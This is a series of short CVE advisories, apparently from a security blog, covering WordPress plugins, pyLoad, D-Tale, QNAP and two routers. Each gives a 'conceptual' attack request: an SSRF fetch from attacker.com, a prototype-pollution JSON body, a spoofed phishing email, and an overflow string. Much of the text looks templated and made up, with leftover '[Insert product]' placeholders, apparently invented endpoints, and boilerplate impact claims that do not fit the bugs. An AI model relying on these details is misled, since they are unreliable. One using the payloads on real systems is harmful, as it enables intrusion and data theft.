Author: Ameeba

Overview

The CVE-2023-6750 vulnerability refers to a critical flaw in the Clone WordPress plugin versions prior to 2.4.3. The vulnerability arises due to the plugin’s use of buffer files to store backup information at a publicly accessible, statically defined file path. This poses a severe threat to information confidentiality and system integrity, as it could potentially allow unauthorized access to sensitive data or even a system compromise.

Vulnerability Summary

CVE ID: CVE-2023-6750
Severity: High – CVSS 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Clone WordPress Plugin | Before 2.4.3

How the Exploit Works

The vulnerability lies in the fact that the Clone WordPress plugin stores backup information in buffer files at a statically defined, publicly accessible file path. An attacker can exploit this by locating the file path and accessing the buffer files, thus exposing the backup information. This could lead to unauthorized access to sensitive data or even a system compromise.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited using an HTTP GET request to access the buffer file:

GET /wp-content/plugins/clone_backup/buffer_file HTTP/1.1
Host: target.example.com

Upon successful execution, the server would return the contents of the buffer file, including the backup data.

Mitigation and Prevention

Affected users should apply the vendor-supplied patch immediately. This would upgrade the Clone WordPress plugin to version 2.4.3 or later, which resolves the vulnerability. As a temporary mitigation strategy, users could employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block suspicious traffic to the vulnerable file path. However, this should not be considered a long-term solution, and the patch should be applied as soon as possible.

Overview

The CVE-2023-6505 reports a significant vulnerability in the Migrate WordPress Website & Backups plugin, affecting versions prior to 1.9.3. This vulnerability allows unauthorized directory listing in sensitive directories that contain export files, potentially leading to system compromise or data leakage. The issue is critical due to the popularity of the WordPress platform and the widespread use of this plugin.

Vulnerability Summary

CVE ID: CVE-2023-6505
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive information leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Migrate WordPress Website & Backups Plugin | Prior to 1.9.3

How the Exploit Works

The exploit works by allowing an attacker to access directory listings in sensitive directories. These directories contain export files, which can be used to extract sensitive data or even compromise the system. This is due to a lack of proper access restrictions in the plugin’s code.

Conceptual Example Code

The following is a conceptual HTTP GET request that an attacker might use to exploit this vulnerability:

GET /wp-content/plugins/migrate-backups/export/ HTTP/1.1
Host: vulnerablewebsite.com

This request could return a directory listing of all export files stored in the ‘export’ directory. An attacker could then download these files and potentially gain access to sensitive data or compromise the system.

Overview

The CVE-2023-6383 is a vulnerability discovered in the Debug Log Manager WordPress plugin prior to version 2.3.0. This vulnerability allows unauthorized users to download the debug log, potentially exposing sensitive data stored within the log files. Websites utilizing affected versions of the plugin are highly susceptible to this vulnerability, which could lead to significant data leakage or system compromise if exploited.

Vulnerability Summary

CVE ID: CVE-2023-6383
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized data access leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Debug Log Manager WordPress Plugin | Before 2.3.0

How the Exploit Works

The vulnerability resides in the directory listing functionality of the Debug Log Manager plugin. An attacker can exploit this weakness by sending a specifically crafted request to the server hosting the affected WordPress site. This request triggers the directory listing functionality, allowing the attacker to download the debug log without authorization, thereby gaining access to any sensitive data contained within.

Conceptual Example Code

Here is a conceptual example of how the vulnerability could be exploited:

GET /wp-content/plugins/debug-log-manager/download.php?file=debug.log HTTP/1.1
Host: vulnerablewebsite.com
User-Agent: Mozilla/5.0

This GET request attempts to directly access and download the ‘debug.log’ file. If the request is successful, the attacker would have full access to the log’s contents.

Mitigation Guidance

Web administrators can mitigate the risk of this vulnerability by updating the Debug Log Manager WordPress plugin to version 2.3.0 or later. If the update is not immediately feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide a temporary measure to prevent unauthorized access to the debug log.

Overview

This report discusses the critical vulnerability CVE-2023-6042. This vulnerability allows any unauthenticated user to send an email from the site, with any title or content, to the admin. This flaw poses a significant risk to organizations as it could allow malicious actors to perform actions such as system compromise or data leakage. It’s therefore crucial for businesses to understand the nature of this vulnerability and how it can be mitigated.

Vulnerability Summary

CVE ID: CVE-2023-6042
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

[Insert product] | [Insert affected version]
[Insert product] | [Insert affected version]

How the Exploit Works

An attacker can exploit this vulnerability by crafting a malicious email and sending it from the site to the admin. Because the system does not require authentication for sending emails, the attacker can spoof the email content and sender details. The compromised email can then be utilized to compromise the system or leak data.

Conceptual Example Code

POST /email/send HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"from": "attacker@example.com",
"to": "admin@example.com",
"subject": "Important System Update",
"body": "Please click on the link to update the system: http://maliciouslink.com"
}

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as possible. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These systems can be configured to block or alert on suspicious email sending activities, thus preventing potential exploitation of this vulnerability.

Overview

CVE-2024-21644 represents a significant security concern for users of pyLoad, a popular open-source Download Manager written in Python. The vulnerability allows an unauthenticated user to expose the Flask config, including the `SECRET_KEY` variable, by simply browsing to a specific URL. The exposure of sensitive configuration details can lead to potential system compromise or data leakage, making it an issue of high concern.

Vulnerability Summary

CVE ID: CVE-2024-21644
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Exposure of sensitive system information, potential system compromise, and data leakage.

Affected Products

Product | Affected Versions

pyLoad | <= 0.5.0b3.dev76 How the Exploit Works

The vulnerability exists due to pyLoad’s mishandling of certain requests, which can lead to the exposure of the Flask configuration. This occurs when an unauthenticated user sends a specific request to a certain URL. The server then responds with sensitive configuration details, including the `SECRET_KEY` variable. With this information, an attacker may compromise the system or leak sensitive data.

Conceptual Example Code

An example of a potential exploit might involve a simple HTTP GET request, as shown below:

GET /flask-config-expose/endpoint HTTP/1.1
Host: target.example.com

Upon receiving this request, the server could potentially respond with sensitive Flask configuration details, including the `SECRET_KEY`, if the vulnerability is present and unpatched.

Recommendations

Users are recommended to update pyLoad to the latest version or at least version 0.5.0b3.dev77, which includes a patch for this vulnerability. As a temporary mitigation, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help prevent exploitation attempts.

Overview

A critical vulnerability, CVE-2023-7209, has been identified in the Uniway Router up to version 2.0. This vulnerability resides in the file /boaform/device_reset.cgi of the Device Reset Handler and can lead to a denial of service attack. This severe issue could potentially result in system compromise or data leakage, posing a significant threat to any systems utilizing the affected router.

Vulnerability Summary

CVE ID: CVE-2023-7209
Severity: Critical (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Uniway Router | Up to 2.0

How the Exploit Works

The vulnerability in the Uniway Router is located within an unknown functionality of the /boaform/device_reset.cgi file. This flaw can be exploited remotely, without any user interaction or special privileges, to cause a denial of service attack. The exploitation procedure involves manipulating the input to the Device Reset Handler, which then leads to unexpected system behavior and potential system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited:

POST /boaform/device_reset.cgi HTTP/1.1
Host: target_router_IP
Content-Type: application/x-www-form-urlencoded
device_reset=1&payload=<malicious_payload>

In this example, `` would be replaced by the attacker’s code aimed at exploiting the vulnerability to cause a denial of service, potentially leading to system compromise or data leakage.

Mitigation Measures

As the vendor has not responded with a patch, the recommended immediate mitigation measure is to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These can help to filter out malicious traffic and protect the router from being exploited. However, these are temporary solutions and it is advised to keep an eye out for an official patch from the vendor, which would provide the most comprehensive fix for the vulnerability.

Overview

The vulnerability CVE-2024-21642 pertains to D-Tale, a visualizer for Pandas data structures, and affects versions prior to 3.9.0. The issue lies in the potential for server-side request forgery (SSRF), which could allow an attacker access to server files. Given the sensitive nature of the data that could be accessed, this vulnerability poses a significant risk.

Vulnerability Summary

CVE ID: CVE-2024-21642
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

D-Tale | Prior to 3.9.0

How the Exploit Works

The exploit works by using the `Load From the Web` feature in D-Tale versions prior to 3.9.0. An attacker can craft a malicious server-side request that is then forged by the vulnerable application. This allows an attacker to access files on the server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. Note that this is a simplified representation and actual exploitation may involve more complex steps.

GET /load-from-web?file=http://attacker.com/malicious-file HTTP/1.1
Host: vulnerable-server.com

In this example, the “load-from-web” feature is misused to fetch a file from an attacker-controlled server. This file could contain malicious code or commands that compromise the server or leak data.

Overview

The vulnerability identified as CVE-2023-39296 is a Prototype Pollution vulnerability that affects multiple versions of the QNAP Operating System. This security flaw has the potential to compromise system integrity or lead to data leakage if successfully exploited, thus posing a significant risk to users’ data and privacy.

Vulnerability Summary

CVE ID: CVE-2023-39296
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

QTS | All versions prior to 5.1.3.2578 build 20231110
QuTS hero | All versions prior to h5.1.3.2578 build 20231110

How the Exploit Works

The exploit takes advantage of a Prototype Pollution vulnerability in the QNAP Operating Systems. Prototype Pollution refers to the ability to modify a JavaScript object prototype. When this occurs, properties that are meant to be present on all objects become overwritten or polluted, hence the name. In this case, the exploit allows users to override existing attributes with incompatible types. If an attribute is overridden with an incompatible type, it can cause the system to crash.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited, demonstrated through a JSON payload. This payload could be sent to a vulnerable endpoint, causing the prototype to be polluted and potentially leading to a system crash.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "__proto__": { "polluted": "Prototype Polluted!" } }

This payload would add a property “polluted” to all objects, demonstrating the Prototype Pollution vulnerability.

Overview

CVE-2023-52143 is a significant vulnerability that exposes sensitive information to unauthorized actors in the Naa986 WP Stripe Checkout. This vulnerability affects users running versions through 1.2.2.37. The exploitation of this vulnerability can result in potential system compromise or critical data leakage, posing severe security risks to the impacted systems.

Vulnerability Summary

CVE ID: CVE-2023-52143
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive data leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Naa986 WP Stripe Checkout | n/a through 1.2.2.37

How the Exploit Works

The vulnerability stems from improper validation or sanitization of user-supplied data within the WP Stripe Checkout. An attacker can manipulate this flaw to gain unauthorized access to sensitive data. The attacker does not need any specific privileges or user interaction to exploit this vulnerability, making it a high-risk issue.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited could involve the attacker sending a malicious HTTP request to the vulnerable endpoint. The request could look like the following:

GET /wp-stripe-checkout/data-leak?payload=malicious_code HTTP/1.1
Host: target.example.com

In the above example, “malicious_code” could be a string crafted to exploit the vulnerability and gain unauthorized access to sensitive data. This is a conceptual example and may not represent the exact method used to exploit the vulnerability.

Mitigation

Users are advised to apply the vendor-provided patch to mitigate this vulnerability. If the patch cannot be applied immediately, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking attempts to exploit this vulnerability. Regularly updating and patching software will help prevent future vulnerabilities.

Overview

CVE-2023-50991 represents a significant buffer overflow vulnerability in Tenda i29, affecting versions 1.0 V1.0.0.5 and 1.0 V1.0.0.2. This vulnerability exposes systems to potential remote denial-of-service (DoS) attacks, posing a substantial security risk for users and organizations using these versions. It matters because successful exploitation may result in system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2023-50991
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda i29 | 1.0 V1.0.0.5
Tenda i29 | 1.0 V1.0.0.2

How the Exploit Works

The vulnerability arises due to inadequate handling of the pingIp parameter in the pingSet function of Tenda i29. By exploiting this vulnerability, remote attackers can overflow the buffer with excessive data, leading to a denial of service (DoS). In some cases, this can also provide an opportunity for the attacker to execute arbitrary code or cause data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:
“`http
POST /pingSet HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
pingIp=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa